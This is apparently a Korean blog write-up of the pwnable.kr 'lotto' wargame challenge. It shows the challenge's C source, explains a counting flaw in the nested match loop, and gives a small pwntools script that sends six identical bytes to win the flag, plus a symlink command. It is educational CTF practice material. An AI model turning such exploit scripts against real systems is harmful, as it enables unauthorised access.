[Pwnable.kr] lotto 풀이 (2pt)
Wargame/pwnable.kr

[Pwnable.kr] lotto 풀이 (2pt)

 

풀이

다음은 lotto.c의 코드이다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

unsigned char submit[6];

void play() {

	int i;
	printf("Submit your 6 lotto bytes : ");
	fflush(stdout);

	int r;
	r = read(0, submit, 6);

	printf("Lotto Start!\n");
	//sleep(1);

	// generate lotto numbers
	int fd = open("/dev/urandom", O_RDONLY);
	if (fd == -1) {
		printf("error. tell admin\n");
		exit(-1);
	}
	unsigned char lotto[6];
	if (read(fd, lotto, 6) != 6) {
		printf("error2. tell admin\n");
		exit(-1);
	}
	for (i = 0; i < 6; i++) {
		lotto[i] = (lotto[i] % 45) + 1;         // 1 ~ 45
	}
	close(fd);

	// calculate lotto score
	int match = 0, j = 0;
	for (i = 0; i < 6; i++) {
		for (j = 0; j < 6; j++) {
			if (lotto[i] == submit[j]) {
				match++;
			}
		}
	}

	// win!
	if (match == 6) {
		system("/bin/cat flag");
	}
	else {
		printf("bad luck...\n");
	}

}

void help() {
	printf("- nLotto Rule -\n");
	printf("nlotto is consisted with 6 random natural numbers less than 46\n");
	printf("your goal is to match lotto numbers as many as you can\n");
	printf("if you win lottery for *1st place*, you will get reward\n");
	printf("for more details, follow the link below\n");
	printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
	printf("mathematical chance to win this game is known to be 1/8145060.\n");
}

int main(int argc, char* argv[]) {

	// menu
	unsigned int menu;

	while (1) {

		printf("- Select Menu -\n");
		printf("1. Play Lotto\n");
		printf("2. Help\n");
		printf("3. Exit\n");

		scanf("%d", &menu);

		switch (menu) {
		case 1:
			play();
			break;
		case 2:
			help();
			break;
		case 3:
			printf("bye\n");
			return 0;
		default:
			printf("invalid menu\n");
			break;
		}
	}
	return 0;
}

누구나 다 알듯이, 로또는 1번부터 45번까지의 숫자가 모두 맞으면 1등이다.

이 프로그램에선 match 카운터가 6개면 flag를 출력해준다.

 

우리가 이 문제를 풀기 위해 알아야 할 코드는 바로 이 부분이다.

int match = 0, j = 0;
for (i = 0; i < 6; i++) {
	for (j = 0; j < 6; j++) {
		if (lotto[i] == submit[j]) {
			match++;
		}
	}
}

ㅋㅋㅋㅋㅋ.. 실제 로또도 이랬으면 얼마나 좋을까..

match 카운트를 늘리기만 하고, break 문이 for문에 존재하지 않다.

그러므로 다음과 같은 문제가 발생한다.


만약에 배열이 이렇다고 가정해보자.

해당 for - if문에서는 다음과 같은 식이 성립한다.

lotto[0] -> submit[0] match++;

lotto[0] -> submit[1] match++;

lotto[0] -> submit[2] match++;

lotto[0] -> submit[3] match++;

lotto[0] -> submit[4] match++;

lotto[0] -> submit[5] match++;

이렇게 같은 값 하나를 몰아서 넣게되면, match == 6을 쉽게 만들 수 있다.

 

그리고 또 하나 알아야 할 것이, 값 입력을 char 형태로 받기 때문에 숫자 1 ~ 45가 아니라 ASCII 1 ~ 45이다.

또한 로컬에서 실행하는 거라면, /home/lotto/flag 파일에 링크를 걸어줘야 한다. (/tmp 경로에는 없기 때문)

ln -s /home/lotto/flag ./flag

이제 페이로드를 작성해보자.

이 코드도 어디까지나 확률이 존재하니, flag가 나올 때까지 계속 페이로드를 날려보자.

from pwn import *

p = process('/home/lotto/lotto')

p.recv(300)
p.sendline('1')

p.recvuntil('Submit your 6 lotto bytes : ')
p.send('\x10\x10\x10\x10\x10\x10')

arr = p.recvline()
print arr
arr = p.recvline()
print arr
arr = p.recvline()
print arr

 

'Wargame > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] coin1 풀이 (6pt)  (0) 2020.07.22
[Pwnable.kr] cmd1 풀이 (1pt)  (0) 2020.07.22
[Pwnable.kr] blackjack 풀이 (1pt)  (0) 2020.07.21
[Pwnable.kr] shellshock 풀이 (1pt)  (0) 2020.07.21
[Pwnable.kr] mistake 풀이 (1pt)  (0) 2020.07.20